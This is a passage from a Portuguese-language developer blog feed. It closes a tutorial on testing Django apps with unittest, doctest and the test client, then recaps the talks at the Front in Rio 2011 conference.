    self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assertEquals&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lion&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;speak&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;The lion says &quot;roar&quot;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assertEquals&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;speak&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;The cat says &quot;meow&quot;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;test runner&lt;/em&gt; padrão do &lt;em&gt;Django&lt;/em&gt; irá procurar por subclasses de
&lt;code class=&quot;language-text&quot;&gt;unittest.TestCase&lt;/code&gt; nos arquivos &lt;code class=&quot;language-text&quot;&gt;models.py&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;tests.py&lt;/code&gt;. A suíte
de testes tenta facilitar ao máximo a sua vida… execute a seguinte
instrução e confira se a sua aplicação está &lt;em&gt;ok&lt;/em&gt; ou não:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py test&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Peraí que não acabou! Apresentando a TestCase&lt;/h3&gt;
&lt;p&gt;Testar aplicações &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;Web&lt;/em&gt;&lt;/a&gt; com a &lt;em&gt;unittest&lt;/em&gt; pode ser dureza. Pensando
nisso o &lt;em&gt;Django&lt;/em&gt; disponibiliza a &lt;code class=&quot;language-text&quot;&gt;TestCase&lt;/code&gt;, que estende a &lt;em&gt;unittest&lt;/em&gt;
adicionando funcionalidades como carregamento de &lt;em&gt;fixtures&lt;/em&gt;, roteamento
de &lt;em&gt;urls&lt;/em&gt; e um &lt;em&gt;client&lt;/em&gt; para fazer requisições &lt;em&gt;Web&lt;/em&gt; e testar as suas
&lt;em&gt;views&lt;/em&gt; (o &lt;em&gt;TestClient&lt;/em&gt;, detalhado mais abaixo).&lt;/p&gt;
&lt;h2&gt;doctest – Testando através de docstrings&lt;/h2&gt;
&lt;p&gt;Admito que escrever documentação de &lt;em&gt;software&lt;/em&gt; não é o meu forte… mas
com &lt;em&gt;doctests&lt;/em&gt; pode-se documentar métodos ao mesmo tempo em que
escreve-se testes!&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;http://docs.python.org/library/doctest.html&quot; title=&quot;Leia mais sobre a doctest&quot;&gt;&lt;em&gt;doctest&lt;/em&gt;&lt;/a&gt; é uma biblioteca padrão do &lt;em&gt;Python&lt;/em&gt; que procura e
interpreta &lt;a href=&quot;http://www.python.org/dev/peps/pep-0257/&quot; title=&quot;Entenda o que é uma docstring&quot;&gt;&lt;em&gt;docstrings&lt;/em&gt;&lt;/a&gt; na aplicação. A sintaxe nesses trechos de
&lt;em&gt;docstrings&lt;/em&gt; é diferenciada, simulando um interpretador interativo do
&lt;em&gt;Python&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# models.py&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;db &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; models

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Animal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Model&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
  An animal that knows how to make noise

  # Create some animals
  &gt;&gt;&gt; lion = Animal.objects.create(name=&quot;lion&quot;, sound=&quot;roar&quot;)
  &gt;&gt;&gt; cat = Animal.objects.create(name=&quot;cat&quot;, sound=&quot;meow&quot;)

  # Make &apos;em speak
  &gt;&gt;&gt; lion.speak()
  &apos;The lion says &quot;roar&quot;&apos;
  &gt;&gt;&gt; cat.speak()
  &apos;The cat says &quot;meow&quot;&apos;
  &quot;&quot;&quot;&lt;/span&gt;
  name &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  sound &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; models&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CharField&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_length&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;speak&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;The %s says &quot;%s&quot;&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sound&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Assim como com a &lt;em&gt;unittest&lt;/em&gt;, o &lt;em&gt;test runner&lt;/em&gt; padrão do &lt;em&gt;Django&lt;/em&gt;
procurará por ocorrências de &lt;em&gt;docstests&lt;/em&gt; em &lt;code class=&quot;language-text&quot;&gt;models.py&lt;/code&gt; e
&lt;code class=&quot;language-text&quot;&gt;tests.py&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Django Test Client – Testando a sua aplicação como se fosse um navegador&lt;/h2&gt;
&lt;p&gt;E como fazer para testar requisições &lt;em&gt;Web&lt;/em&gt;? Por exemplo, você não quer
testar a sua &lt;em&gt;view&lt;/em&gt; de forma isolada, quer testar desde a parte de
roteamento ao comportamento com o banco de dados, como se você se
estivesse realmente visitando a página. Neste caso entra a &lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/testing/#module-django.test.client&quot; title=&quot;Testando aplicações Django com requisições Web falsas&quot;&gt;&lt;em&gt;test
client&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Toda a classe &lt;code class=&quot;language-text&quot;&gt;TestCase&lt;/code&gt; possui uma instância da &lt;strong&gt;Django Test
Client&lt;/strong&gt;. Então escrever testes com requisições à sua aplicação fica
muito simples utilizando classes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;test &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; TestCase

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;SimpleTest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;TestCase&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_details&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/customer/details/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assertEqual&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status_code&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/customer/index/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assertEqual&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status_code&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É perfeitamente possível utilizar a &lt;strong&gt;test client&lt;/strong&gt; em &lt;em&gt;doctests&lt;/em&gt;
também:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
&gt;&gt;&gt; from django.test.client import Client
&gt;&gt;&gt; c = Client()
&gt;&gt;&gt; response = c.post(&apos;/login/&apos;, {&apos;username&apos;: &apos;john&apos;,
...        &apos;password&apos;: &apos;smith&apos;})
&gt;&gt;&gt; response.status_code
200
&quot;&quot;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Particularmente, tive a oportunidade de implementar testes unitários já
no início do meu aprendizado em &lt;em&gt;Django&lt;/em&gt;. Deixar os testes te guiarem é
uma prática excelente!&lt;/p&gt;
&lt;p&gt;Tudo parte do bom senso, óbvio. Nenhum processo ou ferramenta deveria
substituir o “feeling” do profissional… também não é muito sadio ser
extremamente “by the book“. Mas se puder utilizar testes para guiar o
seu desenvolvimento, use-os!&lt;/p&gt;
&lt;p&gt;Na segunda parte deste &lt;em&gt;post&lt;/em&gt; pretendo apresentar algumas ferramentas
que irão turbinar ainda mais o seu desenvolvimento orientado a testes.&lt;/p&gt;
&lt;p&gt;Até lá!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.1/topics/testing/#writing-unit-tests&quot; title=&quot;Leia direto da fonte como escrever testes em Django&quot;&gt;&lt;em&gt;Django Documentation – Writing unit tests&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.1/topics/testing/#writing-doctests&quot; title=&quot;Leia direto da fonte sobre como escrever testes com docstrings&quot;&gt;&lt;em&gt;Django Documentation – Writing doctests&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.1/topics/testing/#testcase&quot; title=&quot;Entenda a diferença entre unittest do Python e o TestCase do Django&quot;&gt;&lt;em&gt;Django Documentation – TestCase&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://docs.python.org/library/unittest.html&quot; title=&quot;Leia sobre a unittest direto da documentação do Python&quot;&gt;&lt;em&gt;Python Documentation – unittest: Unit testing framework&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://dougalmatthews.com/articles/2010/jan/20/testing-your-first-django-app/&quot; title=&quot;Aprenda a testar a sua primeira aplicação em Django&quot;&gt;&lt;em&gt;Dougal Matthews – Testing your first Django app&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://kokoko.fluxionary.net/testing-django-part-1-nose&quot; title=&quot;O Konrad apresenta algumas ferramentas muito boas para testes com Django&quot;&gt;&lt;em&gt;Konrad’s Kode, Konfigs &amp;#x26; Konstructions – Testing Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.marinhobrandao.com/blog/programacao-dirigida-a-testes-no-django/&quot; title=&quot;Aprenda Django de uma forma divertida com o Marinho&quot;&gt;&lt;em&gt;Marinho Brandão&lt;/em&gt; – Programação dirigida a testes no &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Front in Rio 2011 - Eu fui!]]></title><description><![CDATA[Enquanto as minhas esperanças de ir para o Rock in Rio deste ano
acabaram, não pude deixar de acompanhar meus colegas @romulojales…]]></description><link>https://klauslaube.com.br/2011/06/19/front-in-rio-2011-eu-fui.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/06/19/front-in-rio-2011-eu-fui.html</guid><pubDate>Sun, 19 Jun 2011 21:24:00 GMT</pubDate><content:encoded>&lt;p&gt;Enquanto as minhas esperanças de ir para o &lt;a href=&quot;http://www.rockinrio.com.br/pt/ingressos/&quot; title=&quot;Rock in Rio 2011 - Ingressos esgotados&quot;&gt;&lt;em&gt;Rock in Rio&lt;/em&gt;&lt;/a&gt; deste ano
acabaram, não pude deixar de acompanhar meus colegas &lt;a href=&quot;http://twitter.com/#!/romulojales&quot; title=&quot;Acompanhe o bom humor do Rômulo Jales&quot;&gt;&lt;em&gt;@romulojales&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://twitter.com/#!/kenjiyamamoto&quot; title=&quot;Novidades tecnológicas são com ele!&quot;&gt;&lt;em&gt;@kenjiyamamoto&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;http://twitter.com/#!/davidsonFellipe&quot; title=&quot;Davidson fala muito sobre front-end em seu Twitter&quot;&gt;&lt;em&gt;@davidsonFellipe&lt;/em&gt;&lt;/a&gt; na edição do &lt;a href=&quot;http://www.frontinrio.com.br/&quot; title=&quot;Página oficial do evento&quot;&gt;&lt;em&gt;Front in Rio 2011&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;É o primeiro evento que participo como funcionário da &lt;a href=&quot;http://globo.com/&quot; title=&quot;Absolutamente tudo sobre notícias, entretenimento e esportes&quot;&gt;&lt;em&gt;Globo.com&lt;/em&gt;&lt;/a&gt;, e
devo confessar que é também o primeiro evento fora do ambiente
acadêmico. Não, não palestrei… esse papel foi muito bem desempenhado
pelas grandes pessoas que estiveram “em cima dos palcos”.&lt;/p&gt;
&lt;h2&gt;@font-face&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 300px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ffbbc87d67449fd535b427253f45e7bd/f93b5/maujor-frontinrio-2011.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 68.22916666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBBQb/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAABVu860SNCf//EABgQAAMBAQAAAAAAAAAAAAAAAAECAxEU/9oACAEBAAEFAlrpEAVtQTqow1o/Okpun//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAABAhEhEv/aAAgBAQAGPwKhPpjitoZzeEZSjtH/xAAbEAEAAwEAAwAAAAAAAAAAAAABABEhMUFRYf/aAAgBAQABPyFthKuNkUY5Wz3bfMUMC79l9Fi2+z//2gAMAwEAAgADAAAAELA//8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8QiP/EABYRAQEBAAAAAAAAAAAAAAAAABEQIf/aAAgBAgEBPxB0n//EABwQAQADAQADAQAAAAAAAAAAAAEAESExUWFxof/aAAgBAQABPxCkr7pymXgQLon6Ql27HTdaZAD6TwIIxwndc+QyW0mqq5//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Maujor no Front in Rio 2011&amp;quot;&quot;
        title=&quot;Maujor no Front in Rio 2011&quot;
        src=&quot;/static/ffbbc87d67449fd535b427253f45e7bd/f93b5/maujor-frontinrio-2011.jpg&quot;
        srcset=&quot;/static/ffbbc87d67449fd535b427253f45e7bd/7809d/maujor-frontinrio-2011.jpg 192w,
/static/ffbbc87d67449fd535b427253f45e7bd/f93b5/maujor-frontinrio-2011.jpg 300w&quot;
        sizes=&quot;(max-width: 300px) 100vw, 300px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Maujor no Front in Rio 2011&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E para começar bem o dia, fui logo ver o mestre, o “dinossauro das CSS“, &lt;a href=&quot;http://twitter.com/#!/maujor/&quot; title=&quot;Twitter do Maujor&quot;&gt;&lt;em&gt;@maujor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Em uma palestra descontraída, ele nos apresentou a propriedade
&lt;code class=&quot;language-text&quot;&gt;@font-face&lt;/code&gt; da &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS3&quot;&gt;&lt;em&gt;CSS3&lt;/em&gt;&lt;/a&gt;. Agora podemos deixar os &lt;em&gt;designers&lt;/em&gt;
utilizarem as fontes que bem entenderem (calma, estou sendo exagerado),
pois com este recurso, poderemos “uppar” um arquivo de fonte para um
servidor remoto. O navegador fará &lt;em&gt;download&lt;/em&gt; deste arquivo,
interpretando assim os mais bizarros &lt;code class=&quot;language-text&quot;&gt;font-family&lt;/code&gt; que o “pessoal do
photoshop” sempre quis utilizar:&lt;/p&gt;
&lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/hkar8jJLZEBu5G&quot; width=&quot;595&quot; height=&quot;485&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt; &lt;/iframe&gt;
&lt;h2&gt;Android UI Design Patterns &amp;#x26; Melhores Práticas&lt;/h2&gt;
&lt;p&gt;Em seguida, &lt;em&gt;Oscar Marques&lt;/em&gt; esclareceu ao pessoal sobre as melhores
práticas do desenvolvimento &lt;em&gt;Android&lt;/em&gt; tratando-se de &lt;em&gt;front-end&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Embora a palestra tenha sido bem rápida, o &lt;em&gt;Oscar&lt;/em&gt; foi capaz de
transmitir alguns conceitos e cuidados em relação ao desenvolvimento
&lt;em&gt;Android&lt;/em&gt;. Foi interessante ver que o pessoal tem uma forte preocupação
com a usabilidade, principalmente levando em conta o fato que o
&lt;em&gt;Android&lt;/em&gt; está disseminado nos mais diversos tipos de dispositivos.&lt;/p&gt;
&lt;h2&gt;Desbravando o HTML5 Boilerplate&lt;/h2&gt;
&lt;p&gt;E a &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt; esteve fortemente representada neste &lt;em&gt;Front in Rio&lt;/em&gt;.
&lt;a href=&quot;http://twitter.com/#!/zenorocha/&quot; title=&quot;Twitter do Zeno&quot;&gt;&lt;em&gt;@zenorocha&lt;/em&gt;&lt;/a&gt; me convenceu a deixar com que o pessoal do &lt;a href=&quot;http://html5boilerplate.com/&quot; title=&quot;Visite o site oficial do projeto HTML5 Boilerplate&quot;&gt;&lt;em&gt;HTML5
Boilerplate&lt;/em&gt;&lt;/a&gt; guiasse a estrutura dos meus próximos projetos com
&lt;em&gt;HTML5&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Em uma palestra com bastante momentos práticos, &lt;em&gt;Zeno&lt;/em&gt; nos explicou a
filosofia do projeto e seus artefatos. No final, nos presenteou com
alguns &lt;em&gt;links&lt;/em&gt;, entre eles o &lt;a href=&quot;https://github.com/mike360/django-html5-boilerplate&quot; title=&quot;Visite e contribua com o projeto no GitHub&quot;&gt;&lt;em&gt;django-html5-boilerplate&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/iHS2pmCBConHb3&quot; width=&quot;595&quot; height=&quot;485&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt; &lt;/iframe&gt;
&lt;h2&gt;Seletores&lt;/h2&gt;
&lt;p&gt;Depois do almoço, e de uma caminhada para conhecer um pouco mais o
bairro da &lt;em&gt;Urca&lt;/em&gt;, foi a vez de prestigiar o colega de trabalho
&lt;a href=&quot;http://twitter.com/#!/fabiomiranda&quot; title=&quot;Twitter do Fábio Miranda&quot;&gt;&lt;em&gt;@fabiomiranda&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;“Mago dos seletores”, como denominado por alguns colegas, o &lt;em&gt;Fábio&lt;/em&gt;
ajudou a construir a &lt;em&gt;engine&lt;/em&gt; de seletores da &lt;a href=&quot;http://www.mootools.net/&quot; title=&quot;Página oficial da framework Mootools&quot;&gt;&lt;em&gt;Mootools&lt;/em&gt;&lt;/a&gt;. Além de
nos apresentar a &lt;a href=&quot;http://sizzlejs.com/&quot; title=&quot;Conheça a engine selector utilizada pela jQuery&quot;&gt;&lt;em&gt;Sizzle&lt;/em&gt;&lt;/a&gt; (utilizada pela &lt;a href=&quot;http://www.jquery.com/&quot; title=&quot;Página oficial da framework jQuery&quot;&gt;&lt;em&gt;jQuery&lt;/em&gt;&lt;/a&gt;) e a
&lt;a href=&quot;http://www.xpertdeveloper.com/2010/10/introduction-to-slick-a-standalone-element-selector-engine/&quot; title=&quot;Introduction to Slick – A Standalone Element Selector Engine&quot;&gt;&lt;em&gt;Slick&lt;/em&gt;&lt;/a&gt; (utilizada pela &lt;em&gt;Mootools&lt;/em&gt;), propos a análise de alguns
seletores e nos fez pensar sobre performance.&lt;/p&gt;
&lt;p&gt;A palestra, embora recheada de piadas internas, foi extremamente útil:&lt;/p&gt;
&lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/yrbU0Zyp0IaxDm&quot; width=&quot;595&quot; height=&quot;485&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt; &lt;/iframe&gt;
&lt;h2&gt;Animações e Jogos além do canvas&lt;/h2&gt;
&lt;p&gt;E mais uma vez a dupla &lt;em&gt;HTML5&lt;/em&gt; e &lt;em&gt;CSS3&lt;/em&gt; teve vez com a palestra do
&lt;a href=&quot;http://twitter.com/#!/andrewsmedina&quot; title=&quot;Twitter do Andrews Medina&quot;&gt;&lt;em&gt;@andrewsmedina&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Andrews&lt;/em&gt; apresentou alguns argumentos para deixarmos de pensar somente
em &lt;em&gt;canvas&lt;/em&gt; quando o assunto é desenvolvimento de jogos para a
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;, e considerarmos o uso de “elementos comuns” (como &lt;code class=&quot;language-text&quot;&gt;div&lt;/code&gt;) e
das propriedades de animação e transformação da &lt;em&gt;CSS3&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ele desenvolveu um &lt;em&gt;pacman&lt;/em&gt; simples, que ilustrou muito bem o objetivo
da palestra. O projeto, inclusive, está no &lt;a href=&quot;https://github.com/andrewsmedina/pacman&quot; title=&quot;Projeto do web-game Pacman de Andrews Medina&quot;&gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/AzXZYHJph9JFUc&quot; width=&quot;595&quot; height=&quot;485&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt; &lt;/iframe&gt;
&lt;h2&gt;Canvas vs. SVG&lt;/h2&gt;
&lt;p&gt;Para finalizar o dia, o amigo &lt;a href=&quot;http://twitter.com/#!/davidsonFellipe&quot; title=&quot;Davidson fala muito sobre front-end em seu Twitter&quot;&gt;&lt;em&gt;@davidsonFellipe&lt;/em&gt;&lt;/a&gt; fez um comparativo
entre &lt;em&gt;canvas&lt;/em&gt; e &lt;em&gt;svg&lt;/em&gt;, dando dicas de uso de ambos (em seus respectivos
cenários). Para aqueles que ainda têm dúvidas sobre onde usar cada um,
foi uma palestra extremamente esclarecedora.&lt;/p&gt;
&lt;p&gt;A sua palestra lembrou-me muito um &lt;a href=&quot;http://www.profissionaisti.com.br/2009/01/svg-x-canvas-entenda-as-diferencas/&quot; title=&quot;SVG x Canvas: Entenda as diferenças&quot;&gt;&lt;em&gt;post&lt;/em&gt; que fiz ao &lt;em&gt;Profissionais TI&lt;/em&gt;
sobre o assunto&lt;/a&gt;. No final das contas, concordei 100% com tudo o que
foi proposto pelo palestrante.&lt;/p&gt;
